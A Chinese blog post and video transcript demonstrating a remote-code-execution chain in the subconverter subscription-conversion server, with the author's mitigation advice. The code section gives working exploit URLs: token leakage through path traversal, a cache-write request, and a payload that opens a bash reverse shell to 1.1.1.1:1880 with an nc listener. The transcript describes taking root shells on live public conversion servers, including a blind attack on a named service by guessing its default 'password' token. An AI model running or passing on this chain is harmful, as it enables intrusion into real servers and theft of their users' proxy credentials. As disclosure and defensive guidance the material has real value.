视频教程

youtube播放地址:https://youtu.be/FclVhxp1g0Y
专线机场推荐:https://b.880805.xyz
GIA线路VPS推荐:https://bwg.880805.xyz
参考内容1:https://github.com/wm-team/WMCTF2022#subconverter
参考内容2:https://gist.github.com/CwithW/01a726e5af709655d6ee0b2067cdae03

相关代码

# qx-script接口(0.7.2-be878e1后被删除)
/qx-script?url=cHJlZi50b21s
/qx-script?url=cHJlZi55bWw
/qx-script?url=cHJlZi5pbmk

# convert接口(目前依然存在路径穿越到同目录下暴露配置token)
/convert?url=pref.toml
/convert?url=pref.ini
/convert?url=pref.yml

# 指令写入缓存目录
/sub?target=clash&url=http://1.1.1.1/payload

# payload
function parse(x){
    os.exec(["sh","-c","bash -i >& /dev/tcp/1.1.1.1/1880 0>&1"])
}

# 反弹shell:
控制端运行:nc -lvp 1880
网页访问:/sub?target=clash&url=script:cache/md5,1&token=password

解决方式:

  • 直接关闭缓存enable_cache=false(但还是会暴露token)
  • 升级到0.7.2-be878e1版本及以上,开启api_mode和强token密码,并且使用web中间件反代隐藏convert接口

可以使用最新代码的编译版:https://github.com/tindy2013/subconverter/actions/workflows/build.yml,或者使用docker版:https://hub.docker.com/r/tindy2013/subconverter,或者使用meta的fork版:https://github.com/MetaCubeX/subconverter/releases/tag/Alpha
最新版本的convert接口还是会暴露token,要用nginx、apache等web中间件进行反代隐藏接口(隐藏了接口也要开启api_mode和强token,防止盲打)

  • PR

视频文稿(忽略)

订阅转换相信大家都不陌生,可以将v2ray的节点分享链接格式转换为clash使用的订阅链接,或者将clash的订阅格式转换为v2ray使用的节点分享链接,也有人用来转换机场提供的默认clash配置,日常使用的频率非常高,而大部分用户为了方便,都是使用别人提供的订阅转换服务,常见的比如肥羊、品云、边缘等订阅转换,用这种第三方的转换会有隐私问题,因为他们可以在服务器后台看到你的节点信息,关于这个问题我早在1年前的视频中就给大家演示过,不过大家选择用他们的订阅转换就是对他们的信任,相信他们不会盗取你的节点信息,我也不是在质疑别人,只是为了说明存在这种情况,为了隐私安全你可能会自己搭建,或者使用机场提供的订阅转换服务,这样看上去是最安全的,毕竟机场可不会偷自己用户的节点,但如果服务器被人入侵那又是另一种情况了,目前订阅转换服务都是用subconverter这个开源项目搭建的,而subconverter存在RCE的安全风险,不管你目前用的是哪个版本,都可能导致服务器被黑客入侵,从而盗走所有人的节点信息
接下来就来实际演示一下该漏洞的危害,以及如何预防这个问题,事先声明,演示的目的在于让大家了解漏洞的危害以及如何预防此类问题,从而提高网络安全意识,并不是让大家去利用

为了更接近实战,我这里就以某一线机场自家的订阅转换服务器为例,已经打过招呼了,演示经过了许可,你买了他家的节点,并且使用他们提供的订阅转换,这种属于100%绝对信任,不会认为他会盗取你的节点信息。

首先打开这两个转换网站,这个页面相信用过订阅转换的朋友都不陌生,是最常见的订阅转换前端界面,一般我们会在这里填入自己的机场订阅地址或者节点信息,点击下方的生成订阅链接, 然后访问该地址,就可以将节点转换为clash的订阅了

复制订阅转换的后端地址,在后面加上/version,回车进行访问,网页返回了404,说明这个后端使用了web中间件进行反向代理,这种情况我们后面再说,换另一个订阅转换网站,先点击生成订阅得到后端地址,在网址后面加上/version进行访问,可以看到后端版本是0.7.2,这也是目前github项目里编译的最新版本,不管哪个版本都存在RCE的问题,只是利用方式不太一样
先演示第一种利用方式

通过这个接口可以获取到配置文件的内容,如果返回空页面,则换另一个,这就是subconverter的默认配置文件,这是由于路径穿越过滤不严谨导致配置文件内容泄漏,可以看到api_mode为true,并且暴露了关键的token值,他们的作用等会再来说明,来到最下方,如果enable cache为true,说明开启了缓存,只要开了缓存就大概率存在rce风险,如果这三条链接都无法获取到配置文件内容,后面还会演示其他方法

接着需要创建一条包含恶意指令的链接,并且将这条链接拼接到订阅转换网址,然后回车访问,网页返回了无法正常进行订阅转换,不用管,我们的目的只是将恶意指令文件写入到缓存目录中,服务器会以恶意指令的网址计算md5值当作文件名保存在缓存目录,可以跟着视频演示的方式将恶意指令的网址加密成md5,将这里的文本替换掉,然后复制这一段,将其编码为base64,替换掉原来的明文内容,复制所有内容,拼接到订阅转换的网址,回车访问,可以看到网页返回了一串代码,这串代码就是恶意指令网址里的内容,网页能正常显示,说明我们的指令已经成功写入了对方的缓存目录里,这条指令的意思是下载并执行这个网址里的脚本内容,而这个网址里的脚本内容是一个反弹shell的指令,目的是让对方服务器来连接我vps的1880端口,我先登陆我的vps服务器,然后执行这条指令监听1880端口,等待对方连接,目前恶意指令已经写入了对方的服务器,我们还需要触发执行,将刚才转换的md5替换掉这里的内容,意思是执行缓存目录下的这个文件的脚本内容,复制连接,将其拼接到订阅转换的网址中,当我回车访问的时候,右边的窗口,也就是我的vps会收到对方vps的shell,可以看到拿到了对方的root用户,我在这里执行的所有指令都是在对方的vps上执行的,比如查看当前目录下的文件,查看subconverter的配置文件内容,通过这个相同的token值,可以确定指令是在对方服务器上执行的,拿到了对方的root用户,接下来要获取对方的vps也就唾手可得了,通过一些手段我进入了他的服务器,查看服务器开启了哪些服务,可以看到开了两个订阅转换服务,amy和nex,也就是我们现在演示的这两个订阅转换网站,然后就可以查看该服务的日志信息了,你在用他们的服务进行订阅转换的同时,我在服务器上就能看到你的订阅连接或者节点信息,并且通过一些手段提取出来从而将其盗走,不过服务器都被拿下了,只用来偷节点有点大材小用

以上是实战演示,没有让对方配合,也就是说在常规配置下,利用subconverter的未授权RCE漏洞,我不需要填写token就可以执行任意脚本内容,从而入侵对方的服务器。

好消息是早在2022年4月4日提交的代码中,作者通过添加鉴权修复了这个漏洞,也就是要加上正确的token才能执行脚本,不过我们通过qx-script这个接口可以看到对方在配置文件中设置的token,所以还是可以利用,直到2022年8月22号提交的代码中删掉了qx-script的接口,也就无法通过这个接口暴露token了,坏消息是,目前github项目里最新的Releases版本是2022年4月3日编译的未修复漏洞的版本,所以部分提供公共订阅转换服务的站长用的还是这个版本,比如当前演示的这两个网站,以及很多人用的边缘订阅转换,都存在该漏洞,建议自己编译最新代码,或者使用docker版

还有一个注意事项,即使是最新代码,也只有在api_mode为true的情况下才需要正确的token,如果api_mode为false,则还是不需要token即可执行脚本,和之前没有区别,作者确认这不是漏洞,its feature,所以如果你是对外提供公共订阅转换服务,必须将api_mode设置为true,否则还是存在rce的风险,本地使用的话就没必要设置为true了,会导致无法转换本地文件

所以即使qx-script的接口被删了,或者使用nginx进行反向代理隐藏了qx-script接口,我们看不到对方的配置文件,也不清楚对方有没有开启api_mode和缓存,但依然可以通过盲打来尝试执行恶意指令,只要对方开启了缓存,并且api_mode为false,或者token是弱口令,就有可能导致rce的情况,以肥羊的订阅转换为例,相信很多人在用他家的,他家提供了多个后端,前两个是他自己的,下面的是别人的,点击生成订阅获取后端网址,先查看一下版本,显示0.9,不过官方目前最新的才0.7.2,很显然这是他自己编译改的,所以我们先来看看qx-script的接口是否还在,尝试访问这三条连接,三条都无法正常显示,但不代表无法利用,我们访问这条连接的目的只是为了确认是否开启了缓存,一般来讲都会开启,因为默认配置就是开启的,看不到的话就不看了,直接盲打,访问这条连接,将指令写入到服务器缓存目录,网页返回转换失败,我们不知道有没有成功写入,就当是成功了,接着访问这条连接触发指令执行,注意vps要先监听对应的1880端口,访问后如果成功连接了,说明开启了缓存,并且没有开启apimode,访问后发现没有反应,说明并没有成功触发,要么是没有开启缓存,要么是开启了api_mode,当开启了api_mode就需要加上正确的token,但我们并不知道token的值,所以只能猜,试试默认的弱口令password,在后面加上token=password试试,很幸运,成功连接到了对方vps的shell,可以在这里给对方的vps执行指令,所以他的配置应该开启了api_mode,token是默认的弱口令password,并且开启了缓存,可以看到确实是这样的,另外虽然他这里的不是root权限,但我仍然可以盗走你的节点信息

所以token建议不要使用弱口令,存在rce的风险
还没完,虽然qx-script的接口被删了,但这个convert的接口同样可以暴露配置文件的内容,目前还没有解决,也就是所有版本都存在这个问题,再看一下别人提供的订阅转换,这个是meta的分支版本0.8.2,这家也是某一线机场指定的订阅转换,同样也可以访问这个接口暴露对方的token,只要确认对方开启了缓存,并且拿到了token,拿下对方的vps也就八九不离十了

所以光有强token也没用,还是会直接暴露,目前那些公共的订阅转换服务有一大半存在这种情况,或许早就被利用了,视频中演示的这几个网站我会在视频发布之前进行提醒,其他的订阅服务提供者建议自行检查服务器相关安全项,目前推荐的做法是使用nginx反代,隐藏convert这个接口,或者干脆一点,直接关掉缓存服务,比如品云的订阅转换就是这么干的。不过这样对服务器的负担比较大

如果你是使用者,我更推荐使用本地订阅转换,早在两年前我就做过相关教程了。信别人不如信自己,彻底杜绝相关风险,感兴趣的朋友可以回看。

最后修改:2023 年 10 月 08 日 10 : 47 AM